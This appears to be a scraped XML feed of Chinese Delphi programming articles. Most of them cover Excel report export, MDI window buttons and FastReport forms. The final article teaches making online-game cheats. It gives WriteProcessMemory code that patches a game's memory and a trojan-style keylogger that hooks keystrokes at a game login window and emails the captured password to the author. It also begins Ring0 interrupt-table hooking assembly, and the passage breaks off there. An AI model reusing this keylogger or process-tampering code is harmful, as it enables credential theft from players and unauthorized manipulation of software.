function createExcel:variant;
var
　 v:variant;
　 sheet:variant;
begin
　 v:=createoleobject('Excel.Application');//创建OLE对象
　 v.visible:=true;
　 v.workbooks.add(-4167); //添加工作表
　 v.workbooks[1].sheets[1].name:='test';
　 sheet:=v.workbooks[1].sheets['test'];
　 return v;
end;

		#p#副标题#e#  赵中凯 梅国建
				
		
		
2.2 数据表格控制
Excel表格的控制，主要包括数据的导入、修改；单元格的合并、边框的控制；表格的复制、粘贴等。当报表格式一定的情况下，表格的复制、粘贴显得尤为重要，这样，可以先制作一个文件模板，然后按照实际需要输出多页报表即可。
（1）数据的导入（importData）
procedure importData;
var
　 I,j:integer;
　 v:variant;
begin
　 v:=createExcel; //创建Excel文件test
　 for I:=0 to maxcolumn do
　　 begin
　　　 for j:=0 to maxrow do
　　　　 v.workbooks[1].sheets[1].cells[I,j]:=I*j; //导入数据
　　　 end;
　 end;
（2）单元格的合并、边框的控制（lineStylecontrol）
单元格的合并，是在选定合并范围的情况下进行的。边框控制可以操作边框线条的是否显示。其他方式的控制，可以仿照下面过程进行。
procedure lineStylecontrol;
var
　 v,sheet,range:variant;
begin
　 v:=createExecl;
　 sheet:= v.workbooks[1].sheets[1];
　 range:=sheet.range[sheet.cells[1,1],sheet.cells[39,30]];//选定表格
　 range.select;
　 range.merge; //合并单元格 
　 range.borders.linestyle:=xlcontinuous; //置边框线可见
　 range.font.size:=9; //改变表格内文本字体大小
end;
（3）表格的复制与粘贴（copyandPaste）
procedure copyandPaste;
var
　 v,sheet,range:variant;
begin
　 v:=createExecl;
　 sheet:= v.workbooks[1].sheets[1];
　 range:=sheet.range[sheet.cells[1,1],sheet.cells[39,30]];
　 range.select; //选定要复制的表格
　 range.copy; //复制选定的表格
　 sheet.range[sheet.cells[40,1],sheet.cells[40,1]].select; //选择要粘贴的位置
　 sheet.paste； //粘贴表格
end;
#p#副标题#e#  赵中凯 梅国建
				
		
		
2.3 文件的保存
文件保存是在创建文件的基础上进行的，过程saveFile说明了文件保存过程中应该注意的问题：
procedure saveFile;
var
　 sheet,v:variant;
begin
　 v:=createExcel;
　 if savedialog.execute then
　 begin
　　 v.workbooks[1].saveas(savedialog.FileName);//保存文件
　　 v.workbooks[1].close; //关闭工作表
　　 v.quit; //关闭Excel
　　 v := unassigned;
　 end;
end;
3 报表制作应注意的问题
（1）报表格式的选择
报表格式的选择对信息系统报表的实现方法起着决定性的影响。如果在报表的格式要求比较严格的情况下，应当采用模板的方式产生报表。由于模板在数据导入之前就已经按照标准制定好，所以只要在程序中控制模板的复制与粘贴，然后编程实现数据输入指定位置即可。而对于报表格式多变的情况，由于数据的不同，需要合并单元格或者控制边框，可以直接在程序中自动控制报表的生成。
（2）打印
对于报表的打印，最好不要在程序中进行控制，因为报表往往需要签字或者进行审查，有许多报表都包含平面图或示意图，为了有效的控制打印质量，最好通过程序控制输出或显示Excel文件，以便修改；另一个重要的原因是Excel具有强大的排版功能，而这正是选择Excel导出报表的重要原因。
（3）报表时间和表头
报表时间要有用户可以控制的输出。表头的制作要在事先做好格式，控制输出时，只改动那些诸如上报单位、下达单位、负责人等数据，这样既保证了系统的效率，又不失其实用性。
4 结论
用Delphi控制Excel来完成数据库管理信息系统的数据报表功能，是Delphi制作复杂报表的最佳选择，因为Delphi不但能控制数据的导出与导入，而且可以完成当前Excel应用中的大部分功能。如果深入研究Visual Basic for Application(VBA)就可以制作出符合实际需要的各种Delphi控制Excel的控件。 </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:15 </pubDate>
</item>
<item>
<title>Delphi模拟最小化恢复关闭按纽 </title>
<link>http://www.youjoys.cn/knowledge/20110728/365.html </link>
<description>我们做多文档应用程序开发时,如果在主From中指定mainMenu时,在主菜单上右角上会自动出现最小化,恢复,关闭按纽,但主菜单放入Toolbar等中时,该三个按纽不会自动出 </description>
<text>天极 史俊武
				
		
		我们做多文档应用程序开发时,如果在主From中指定mainMenu时,在主菜单上右角上会自动出现最小化,恢复,关闭按纽,但主菜单放入Toolbar等中时,该三个按纽不会自动出现,因此需要编程实现。
实现原理:
按纽的实现,从Tbitbtn继承下来最理想,但需要过滤TbitBtn的焦点响应消息,使其不能获得焦点状态。
按纽的功能的实现是比较关键的,Delphi中提供了标准action对象(Twindowclose)来实现关闭当前激活的子窗体的功能。
当没有提供最小化及恢复功能的Action,因此有必须编程实现该两个对象分别命名为TWindowMinimize和TWindowRestore;并且编程是十分简单的。
为什么要采用action来实现最小化,恢复和关闭MDI子窗体具体的功能呢,这是因为,Delphi已经实现了其状态的自动变更。
另外,这三按纽必须保持在主界面的位置一直处于右上角.因此,需要在主窗体改变大小的时候,重新计算其位置。
由于只有子窗体最大化时,这三个按纽才能出现,因此,需要在idel事件中去判断当前的子窗体的状态,以便决定这三个按纽是否隐藏或可见.
具体代码如下:
unit ufrmMain;interfaceusesWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,Dialogs, ActnList, AppEvnts, ImgList, StdCtrls, Buttons, StdActns, Menus,ToolWin, ComCtrls;type//最大最小化按纽类TMDIButton = class(TBitbtn)privatepublic//由于由Tbitn继承而来,因此需要屏蔽其获得焦点的消息procedure wndproc(var message: Tmessage); override;end;TWindowMinimize = class(TWindowAction)public//按纽功能,将当前最前的子window状态改为wsMinimize;procedure ExecuteTarget(Target: TObject); override;end;TWindowRestore = class(TWindowAction)public//按纽功能,将当前最前的子window状态改为wsNormal;procedure ExecuteTarget(Target: TObject); override;end;TFrmMain = class(TForm)//保存windows的最小化,恢复,关闭的图标MDIImageList: TImageList;//当程序不忙时,判断最大,最小化按纽的是否应该隐藏还是可见ApplicationEvents1: TApplicationEvents;//ActMdiForm: TActionList;ToolBar1: TToolBar;MainMenu1: TMainMenu;N1: TMenuItem;open1: TMenuItem;help1: TMenuItem;procedure FormCreate(Sender: TObject);procedure ApplicationEvents1Idle(Sender: TObject; var Done: Boolean);procedure FormResize(Sender: TObject);procedure FormDestroy(Sender: TObject);procedure open1Click(Sender: TObject);private//模拟mdiform窗体最小化,关闭及恢复按纽对象BtnMin, BtnRestore, BtnClose: TMDIButton;Windowclose: TWindowClose;WindowMinimize: TWindowMinimize;WindowRestore: TWindowRestore;procedure SetMDIFormActionPos;public{ Public declarations }end;varFrmMain: TFrmMain;implementation{$R *.dfm}procedure TFrmMain.FormCreate(Sender: TObject);begin//建立关闭ButtonBtnClose := TMDIButton.Create(self);BtnClose.Visible := false;BtnClose.Parent := self;BtnClose.Width := 16;Btnclose.Height := 15;//建立关闭功能ActionWindowClose := TWindowClose.Create(nil);//指定其图标WindowClose.ActionList := ActMdiForm;WindowClose.ImageIndex := 2; //关闭;WindowClose.Caption := '';//将action与button关联BtnClose.Action := WindowClose;BtnClose.BringToFront;BtnClose.Visible := false;//建立最小化ButtonBtnMin := TMDIButton.Create(self);BtnMin.Visible := false;BtnMin.Parent := self;BtnMin.width := 16;BtnMin.height := 15;//建立最小化功能actionWindowMinimize := TWindowMinimize.Create(nil);//指定其图标WindowMinimize.ActionList := ActMdiForm;WindowMinimize.Caption := '';WindowMinimize.ImageIndex := 0;//将action与button关联BtnMin.Action := WindowMinimize; //最小化BtnMin.BringToFront;BtnMin.Visible := false;//建立恢复功能ButtonBtnRestore := TMDIButton.Create(self);BtnRestore.Visible := false;BtnRestore.Parent := self;BtnRestore.Width := 16;BtnRestore.height := 15;//建立恢复功能actionWindowRestore := TWindowRestore.Create(nil);//指定其图标 WindowRestore.ActionList := ActMdiForm;WindowRestore.Caption := '';WindowRestore.ImageIndex := 1;//将action与button关联BtnRestore.Action := WindowRestore;BtnRestore.BringToFront;BtnRestore.Visible := false;//设置按纽位置,位置保持在主界面上相对不变SetMDIFormActionPos;end;procedure TFrmMain.ApplicationEvents1Idle(Sender: TObject;var Done: Boolean);varshow: boolean;begin//当前子窗体的状态为最大化时,显示三个按纽show := (self.ActiveMDIChild &amp;lt;&amp;gt; nil) and (self.ActiveMDIChild.WindowState =wsMaximized);if assigned(BtnClose) and BtnClose.Visible &amp;lt;&amp;gt; Show thenBtnClose.Visible := Show;if assigned(BtnMin) and BtnMin.Visible &amp;lt;&amp;gt; Show thenBtnMin.Visible := Show;if assigned(BtnRestore) and BtnRestore.Visible &amp;lt;&amp;gt; Show thenBtnRestore.Visible := Show;end;//设置按纽的相对位置不变procedure TfrmMain.SetMDIFormActionPos;beginif assigned(BtnClose) thenbeginBtnClose.left := Width - 26;BtnClose.top := 6;end;if assigned(BtnRestore) thenbeginBtnRestore.Left := Width - 44;BtnRestore.Top := 6;end;if assigned(BtnMin) thenbeginBtnMin.Left := Width - 60;BtnMin.Top := 6;end;end;procedure TFrmMain.FormResize(Sender: TObject);beginSetMDIFormActionPos;end;procedure TFrmMain.FormDestroy(Sender: TObject);begin//释放资源if assigned(BtnClose) thenbeginWindowClose.ActionList := nil;WindowClose.free;BtnClose.Free;BtnClose := nil;end;if assigned(BtnRestore) thenbeginWindowRestore.ActionList := nil;WindowRestore.free;BtnRestore.Free;BtnRestore := nil;end;if assigned(BtnMin) thenbeginWindowMinimize.ActionList := nil;WindowMinimize.free;BtnMin.Free;BtnMin := nil;end;end;{ TWindowRestore }procedure TWindowRestore.ExecuteTarget(Target: TObject);begininherited;with GetForm(Target) doActiveMDIChild.WindowState := wsnormal;end;{ TMDIButton }procedure TMDIButton.wndproc(var message: Tmessage);beginif message.msg = wm_SetFocus then exit;inherited wndproc(message);end;{ TWindowMinimize }procedure TWindowMinimize.ExecuteTarget(Target: TObject);begininherited;with GetForm(Target) doActiveMDIChild.WindowState := wsMinimized;end;procedure TFrmMain.open1Click(Sender: TObject);beginwith Tform.create(self) dobeginformstyle := fsMDIChild;end;end;end. </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:15 </pubDate>
</item>
<item>
<title>Delphi中用FastReport制作报表 </title>
<link>http://www.youjoys.cn/knowledge/20110728/372.html </link>
<description>报表作为 系统 信息的典型输出形式之一，是大多数应用系统特别是MIS系统的重要功能。是否具有一个良好的打印功能，往往从一定程度上关系到系统的成败。Delphi有 </description>
<text>
	副标题#e# 电脑报 王绍明

	报表作为信息的典型输出形式之一，是大多数应用系统特别是MIS系统的重要功能。是否具有一个良好的打印功能，往往从一定程度上关系到系统的成败。Delphi有很强的报表功能，但是它的报表功能还不能满足我们的需要。于是许多Delphi高手相继推出了不少优秀的报表控件（模块），作为QuickReport的补充，其中FastReport就是一个代表。

	FastReport综合了QuickReport和Re portBuilder的优点，个头小，速度快，并带有全部源码。笔者在开发一个药品管理系统时，用FastReport2.51成功制作出了和药品验收单、药品调拨单一模一样的表单式报表。下面给朋友们介绍一下。

	报表的需求分析

	在医院工作的朋友都知道，药品入库时要填写药品验收单，药房工作人员领取药品时要填写药品调拨单。笔者单位使用的药品验收单和调拨单不是专用的，而是通用的商品验收单和调拨单。与百货业、电信系统使用的报表不同，它的形状为条形，每张固定可填五种药品，内容包括发货单位、发货单号、收货单位、品名、规格、单位、价格、金额等，一式三联。

	综上所述，我们可以把报表设计的需求归纳如下：

	1. 大小为：长21cm，宽10cm；

	2. 每张可以打印5种药品，表单下面有本页小计。

	3. 多于5种药品时开始新一张表单的打印，不足5种药品时要用空行补足。

	报表设计

	1.打开FastReport的报表设计器，按照图1设计出&amp;ldquo;药品验收单&amp;rdquo;。

	&amp;nbsp;

	另外，InHJ、OutHJ、CaHj、LineCount这几个变量分别表示&amp;ldquo;入库合计&amp;rdquo;、&amp;ldquo;出库合计&amp;rdquo;、&amp;ldquo;差价合计&amp;rdquo;和&amp;ldquo;数据总行数&amp;rdquo;，在程序中将对这几个变量赋值。

	&amp;nbsp;

	#p#副标题#e# 电脑报 王绍明

	&amp;nbsp;

	2.按F11键，调出对象查看器，选中Band2，在它的OnBeforPrint事件中输入如下代码：

	begin
	if LINE#-1　&amp;lt;&amp;gt;0　 and LINE#-1　 mod 5=0　 then
	begin
	showBandChild1　
	showBandband1　
	end
	end

	代码中用FastReport的内置函数LINE#取得当前行号，如果满足条件，就显示页头和Child3，开始新的一张表单。

	3.选中Child3，在它的OnBeforPrint事件中输入如下代码：

	begin
	lin=lineCount //在程序中要对该变量赋值
	while lin mod 5&amp;lt;&amp;gt;0　 do
	begin
	showbandchild2　 //打印空行
	inclin　
	end
	showBandchild3　
	end

	这段代码的用途是如果最后数据行不够一张表单显示时，就打印空行。

	4. 选中Band3，在它的OnBeforPrint事件中输入如下代码：

	begin
	showbandchild1　 //到达报表结束时显示表单底部的内容
	end

	5.将报表保存后回到Delphi开发环境。

	Delphi编程部分

	在Delphi编程部分我们主要完成报表所需参数的传递，因为要在好几个过程中访问这些参数，所以要将这几个参数设为全局变量：

	private
	line1line2integer //保存行号
	inputXjintemp //入库小计 ，每5行后清零，下同
	outXjoutemp //出库小计
	CajiaXjcatempReal //差价小计
	下面是几个主要过程的代码清单。
	//单张表单数据合并过程
	procedure TInputForm.frDBDataSet1NextSender TObject　
	var
	ReCountinteger
	begin
	ReCount = Adoruku.RecordCount
	Incline1　// 该变量传至报表文件控制打印空行
	Incline2　// 该变量控制清零小计值
	if not Adoruku.Eof then
	begin
	inputXj=inputXj+ADORuku.fieldByName&amp;#39;入库金额&amp;#39;　.AsFloat
	outXj=outXj+Adoruku.fieldByName&amp;#39;出库金额&amp;#39;　.AsFloat
	CajiaXj=CajiaXj+AdorukuJXCJ.AsFloat
	end
	//每5行后将小计值清零 if line2 mod 5 = 0　 and ReCount&amp;gt;line2 div 5　5　　 then
	begin
	intemp=inputXj
	outemp=outXj
	Catemp=CajiaXj
	inputXj=0
	outXj=0
	CajiaXj=0
	end
	//到达数据集末尾时给变量赋值
	if Adoruku.Eof then
	begin
	intemp=inputXj
	outemp=outXj
	Catemp=CajiaXj
	end
	end

	以上程序在Windows 2000/XP+Delphi6.0中调试通过。至此，我们已经完成了药品验收单的设计工作，其他的类似报表设计可以参照以上过程。图2是程序运行时生成的报表预览效果。

	&amp;nbsp;
 </text>
<image> </image>
<keywords>Delphi,中用,FastReport,制作,报表,副标题 </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:15 </pubDate>
</item>
<item>
<title>用Delphi制作网络游戏外挂 </title>
<link>http://www.youjoys.cn/knowledge/20110728/376.html </link>
<description>在几年前我看到别人玩网络游戏用上了外挂，做为程序员的我心里实在是不爽，想搞清楚这到底是怎么回事。就拿了一些来研究，小有心得，拿出来与大家共享，外挂无 </description>
<text>副标题#e#  刘悦
				
		
		在几年前我看到别人玩网络游戏用上了外挂，做为程序员的我心里实在是不爽，想搞清楚这到底是怎么回事。就拿了一些来研究，小有心得，拿出来与大家共享，外挂无非就是分几种罢了（依制作难度）：
1、动作式，所谓动作式，就是指用API发命令给窗口或API控制鼠标、键盘等，使游戏里的人物进行流动或者攻击，最早以前的&amp;ldquo;石器&amp;rdquo;外挂就是这种方式。
2、本地修改式，这种外挂跟传统上的一些游戏修改器没有两样，做这种外挂在编程只需要对内存地址有一点认识并且掌握API就可以实现，&amp;ldquo;精灵&amp;rdquo;的外挂这是这种方式写成的，它的难点在于找到那些地址码，找地址一般地要借助于别人的工具，有的游戏还有双码校验，正正找起来会比较困难。
3、木马式，这种外挂的目的是帮外挂制作者偷到用户的密码，做这种外挂有一定的难度，需要HOOK或键盘监视技术做底子，才可以完成，它的原理是先首截了用户的帐号或密码，然后发到指定邮箱。
4、加速式，这种外挂可以加快游戏的速度。原本我一直以为加速外挂是针对某个游戏而写的，后来发现我这种概念是不对的，所谓加速外挂其实是修改时钟频率达到加速的目的。
5、封包式，这种外挂是高难度外挂，需要有很强的功力才可以写得出来。它的原理是先截取封包，后修改，再转发。这种外挂适用于大多数网络游戏，像WPE及一些网络游戏外挂都是用这种方式写成的，编写这种外挂需要apihook技术，winsock2技术&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;
以下就用Delphi实现网络游戏外挂。
===================================================================================
上回对五种类型的外挂做了一个大体的概括，大家对这几种外挂都有了一定的了解，现在就依次（制作难度）由浅到深谈谈我对外挂制作的一些认识吧~~~~
首先，先来谈一下动作式的外挂，这也是我第一次写外挂时做的最简单的一种。
记得还在&amp;ldquo;石器&amp;rdquo;时代的时候，我看到别人挂着一种软件（外挂）人物就可以四外游走（当时我还不知道外挂怎么回事^_^），于是找了这种软件过来研究（拿来后才听别人说这叫外挂），发现这种东东其实实现起来并不难，仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而已，看后就有实现这功能的冲动，随后跑到MSDN上看了一些资料，发现这种实现这几个功能，只需要几个简单的API函数就可以搞定：
1、首先我们要知道现在鼠标的位置（为了好还原现在鼠标的位置）所以我们就要用到API函数GetCursorPos，它的使用方法如下：
BOOL GetCursorPos(
LPPOINT lpPoint // address of structure for cursor position
);
2、我们把鼠标的位置移到要到人物走到的地方，我们就要用到SetCursorPos函数来移动鼠标位置，它的使用方法如下：
BOOL SetCursorPos(
int X, // horizontal position
int Y // vertical position
); 
		#p#副标题#e#  刘悦
				
		
		
3、模拟鼠标发出按下和放开的动作，我们要用到mouse_event函数来实现，具休使用方法用下：
VOID mouse_event(
DWORD dwFlags, // flags specifying various motion/click variants
DWORD dx, // horizontal mouse position or position change
DWORD dy, // vertical mouse position or position change
DWORD dwData, // amount of wheel movement
DWORD dwExtraInfo // 32 bits of application-defined information
);
在它的dwFlags处，可用的事件很多如移动MOUSEEVENTF_MOVE，左键按下MOUSEEVENTF_LEFTDOWN，左键放开MOUSEEVENTF_LEFTUP，具体的东东还是查一下MSDN吧~~~~~
好了，有了以前的知识，我们就可以来看看人物移走是怎么实现的了：
getcursorpos(point);
setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
setcursorpos(point.x,point.y);
看了以上的代码，是不是觉得人物的游走很简单啦~~，举一仿三，还有好多好东东可以用这个技巧实现（我早就说过，TMD，这是垃圾外挂的做法，相信了吧~~~），接下来，再看看游戏里面自动攻击的做法吧（必需游戏中攻击支持快捷键的），道理还是一样的，只是用的API不同罢了~~~，这回我们要用到的是keybd_event函数，其用法如下：
VOID keybd_event(
BYTE bVk, // virtual-key code
BYTE bScan, // hardware scan code
DWORD dwFlags, // flags specifying various function options
DWORD dwExtraInfo // additional data associated with keystroke
);
我们还要知道扫描码不可以直接使用，要用函数MapVirtualKey把键值转成扫描码，MapVirtualKey的具体使用方法如下：
UINT MapVirtualKey(
UINT uCode, // virtual-key code or scan code
UINT uMapType // translation to perform
);
好了，比说此快接键是CTRL+A，接下来让我们看看实际代码是怎么写的：
keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);
keybd_event(65,mapvirtualkey(65,0),0,0);
keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);
keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0); #p#副标题#e#  刘悦
				
		
		
首先模拟按下了CTRL键，再模拟按下A键，再模拟放开A键，最后放开CTRL键，这就是一个模拟按快捷键的周期。
（看到这里，差不多对简易外挂有了一定的了解了吧~~~~做一个试试？如果你举一仿三还能有更好的东东出来，这就要看你的领悟能力了~~，不过不要高兴太早这只是才开始，以后还有更复杂的东东等着你呢~~）
===============================================================
上回我们对动作式外挂做了一个解析，动作式是最简单的外挂，现在我们带来看看，比动作式外挂更进一步的外挂&amp;mdash;&amp;mdash;本地修改式外挂的整个制作过程进行一个详细的分解。
具我所知，本地修改式外挂最典型的应用就是在&amp;ldquo;精灵&amp;rdquo;游戏上面，因为我在近一年前（&amp;ldquo;精灵&amp;rdquo;还在测试阶段），我所在的公司里有很多同事玩&amp;ldquo;精灵&amp;rdquo;，于是我看了一下游戏的数据处理方式，发现它所发送到服务器上的信息是存在于内存当中（我看后第一个感受是：修改这种游戏和修改单机版的游戏没有多大分别，换句话说就是在他向服务器提交信息之前修改了内存地址就可以了），当时我找到了地址于是修改了内存地址，果然，按我的想法修改了地址，让系统自动提交后，果然成功了~~~~~，后来&amp;ldquo;精灵&amp;rdquo;又改成了双地址校检，内存校检等等，在这里我就不废话了~~~~，OK，我们就来看看这类外挂是如何制作的：
在做外挂之前我们要对Windows的内存有个具体的认识，而在这里我们所指的内存是指系统的内存偏移量，也就是相对内存，而我们所要对其进行修改，那么我们要对几个Windows API进行了解，OK，跟着例子让我们看清楚这种外挂的制作和API的应用（为了保证网络游戏的正常运行，我就不把找内存地址的方法详细解说了）：
1、首先我们要用FindWindow,知道游戏窗口的句柄，因为我们要通过它来得知游戏的运行后所在进程的ID，下面就是FindWindow的用法：
HWND FindWindow(
LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);
2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID，函数用法如下：
DWORD GetWindowThreadProcessId(
HWND hWnd, // handle of window
LPDWORD lpdwProcessId // address of variable for process identifier
);
3、得到游戏进程ID后，接下来的事是要以最高权限打开进程，所用到的函数OpenProcess的具体使用方法如下：
HANDLE OpenProcess(
DWORD dwDesiredAccess, // access flag
BOOL bInheritHandle, // handle inheritance flag
DWORD dwProcessId // process identifier
);
在dwDesiredAccess之处就是设存取方式的地方，它可设的权限很多，我们在这里使用只要使用PROCESS_ALL_ACCESS 来打开进程就可以，其他的方式我们可以查一下MSDN。
4、打开进程后，我们就可以用函数对存内进行操作，在这里我们只要用到WriteProcessMemory来对内存地址写入数据即可（其他的操作方式比如说：ReadProcessMemory等，我在这里就不一一介绍了），我们看一下WriteProcessMemory的用法：
BOOL WriteProcessMemory(
HANDLE hProcess, // handle to process whose memory is written to
LPVOID lpBaseAddress, // address to start writing to
LPVOID lpBuffer, // pointer to buffer to write data to
DWORD nSize, // number of bytes to write
LPDWORD lpNumberOfBytesWritten // actual number of bytes written
); #p#副标题#e#  刘悦
				
		
		
5、下面用CloseHandle关闭进程句柄就完成了。
这就是这类游戏外挂的程序实现部份的方法，好了，有了此方法，我们就有了理性的认识，我们看看实际例子，提升一下我们的感性认识吧，下面就是XX游戏的外挂代码，我们照上面的方法对应去研究一下吧：
const
ResourceOffset: dword = $004219F4;
resource: dword = 3113226621;
ResourceOffset1: dword = $004219F8;
resource1: dword = 1940000000;
ResourceOffset2: dword = $0043FA50;
resource2: dword = 1280185;
ResourceOffset3: dword = $0043FA54;
resource3: dword = 3163064576;
ResourceOffset4: dword = $0043FA58;
resource4: dword = 2298478592;
var
hw: HWND;
pid: dword;
h: THandle;
tt: Cardinal;
begin
hw := FindWindow('XX', nil);
if hw = 0 then
Exit;
GetWindowThreadProcessId(hw, @pid);
h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if h = 0 then
Exit;
if flatcheckbox1.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);
WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);
end;
if flatcheckbox2.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);
WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);
WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);
end;
MessageBeep(0);
CloseHandle(h);
close; #p#副标题#e#  刘悦
				
		
		
这个游戏是用了多地址对所要提交的数据进行了校验，所以说这类游戏外挂制作并不是很难，最难的是要找到这些地址。
================================================================
以前介绍过的动作式，本地修改式外挂是真正意义上的外挂，而今天本文要介绍的木马式外挂，可能大多像木马吧，是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为上有此类外挂的存在，所以今天不得不说一下（我个人是非常讨厌这类外挂的，请看过本文的朋友不要到处乱用此技术，谢谢合作）。要做此类外挂的程序实现方法很多（比如HOOK，键盘监视等技术），因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库，所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视，这个程序用这种技术来实现比较适合。
在做程序之前我们必需要了解一下程序的思路：
1、我们首先知道你想记录游戏的登录窗口名称。
2、判断登录窗口是否出现。
3、如果登录窗口出现，就记录键盘。
4、当窗口关闭时，把记录信息，通过邮件发送到程序设计者的邮箱。
第一点我就不具体分析了，因为你们比我还要了解你们玩的是什么游戏，登录窗口名称是什么。从第二点开始，我们就开始这类外挂的程序实现之旅：
那么我们要怎么样判断登录窗口虽否出现呢？其实这个很简单，我们用FindWindow函数就可以很轻松的实现了：
HWND FindWindow(
LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);
实际程序实现中，我们要找到'xx'窗口，就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现，那么我们就可以对键盘信息进行记录了。#p#副标题#e#  刘悦
				
		
		
首先我们用SetWindowsHookEx设置监视日志，而该函数的用法如下：
HHOOK SetWindowsHookEx(
int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);
在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数，来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了，具体实现方法为：
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
而HOOKPROC里的函数就要复杂一点点：
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if findedtitle then //如果发现窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult（自定义的函数，主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的）转换消息。
if length(hookkey) &amp;gt; 0 then //如果获得按键名称
begin
Write(hookkeyFile,hookkey); //把按键名称写入文本文件
hookkey := '';
end;
end;
end;
以上就是记录键盘的整个过程，简单吧，如果记录完可不要忘记释放呀，UnHookWindowsHookEx(hHook)，而hHOOK,就是创建setwindowshookex后所返回的句柄。
我们已经得到了键盘的记录，那么现在最后只要把记录的这些信息发送回来，我们就大功造成了。其他发送这块并不是很难，只要把记录从文本文件里边读出来，用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下：
assignfile(ReadFile,'hook.txt'); //打开hook.txt这个文本文件
reset(ReadFile); //设为读取方式
try
While not Eof(ReadFile) do //当没有读到文件尾
begin
Readln(ReadFile,s,j); //读取文件行
body:=body+s;
end;
finally
closefile(ReadFile); //关闭文件
end;
nmsmtp1.EncodeType:=uuMime; //设置编码
nmsmtp1.PostMessage.Attachments.Text:=''; //设置附件
nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; //设置源邮件地址
nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址
nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容
nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题
nmsmtp1.SendMail; //发送邮件
==================================================================================#p#副标题#e#  刘悦
				
		
		
我一直没有搞懂制作加速外挂是怎么一回事，直到前不久又翻出来了2001年下半期的《程序员合订本》中《&amp;ldquo;变速齿轮&amp;rdquo;研究手记》重新回味了一遍，才有了一点点开悟，随后用Delphi重写了一遍，下面我就把我的心得说给大家听听，并且在此感谢《&amp;ldquo;变速齿轮&amp;rdquo;研究手记》作者褚瑞大虲给了提示。废话我就不多说了，那就开始神奇的加速型外挂体验之旅吧！
原本我一直以为加速外挂是针对某个游戏而写的，后来发现我这种概念是不对的，所谓加速外挂其实是修改时钟频率达到加速的目的。
以前DOS时代玩过的人就会马上想到，这很简单嘛不就是直接修改一下8253寄存器嘛，这在以前DOS时代可能可以行得通，但是windows则不然。windows是一个32位的操作系统，并不是你想改哪就改哪的（微软的东东就是如此霸气，说不给你改就不给你改^_^），但要改也不是不可能，我们可以通过两种方法来实现：第一是写一个硬件驱动来完成，第二是用Ring0来实现（这种方法是CIH的作者陈盈豪首用的，它的原理是修改一下IDT表-&amp;gt;创建一个中断门-&amp;gt;进入Ring0-&amp;gt;调用中断修改向量，但是没有办法只能用ASM汇编来实现这一切*_*，做为高级语言使用者惨啦！），用第一种方法用点麻烦，所以我们在这里就用第二种方法实现吧~~~
在实现之前我们来理一下思路吧：
1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门，修改向量等工作
2、调用这个过程来实现加速功能
好了，现在思路有了，我们就边看代码边讲解吧：
首先我们建立一个过程，这个过程就是本程序的核心部份：
procedure SetRing(value:word); stdcall;
const ZDH = $03; ／／ 设一个中断号
var
IDT : array [0..5] of byte; ／／ 保存IDT表
OG : dword; ／／存放旧向量
begin
asm
push ebx
sidt IDT ／／读入中断描述符表
mov ebx, dword ptr [IDT+2] ／／IDT表基地址
add ebx, 8*ZDH ／／计算中断在中断描述符表中的位置
cli ／／关中断
mov dx, word ptr [ebx+6]
shl edx, 16d
mov dx, word ptr [ebx]
mov [OG], edx
mov eax, offset @@Ring0 ／／指向Ring0级代码段
mov word ptr [ebx], ax ／／低16位,保存在1,2位
shr eax, 16d
mov word ptr [ebx+6], ax ／／高16位，保存在6,7位
int ZDH ／／中断
mov ebx, dword ptr [IDT+2] ／／重新定位
add ebx, 8*ZDH
mov edx, [OG]
mov word ptr [ebx], dx
shr edx, 16d
mov word ptr [ebx+6], dx ／／恢复被改了的向量
pop ebx
jmp @@exitasm ／／到exitasm处
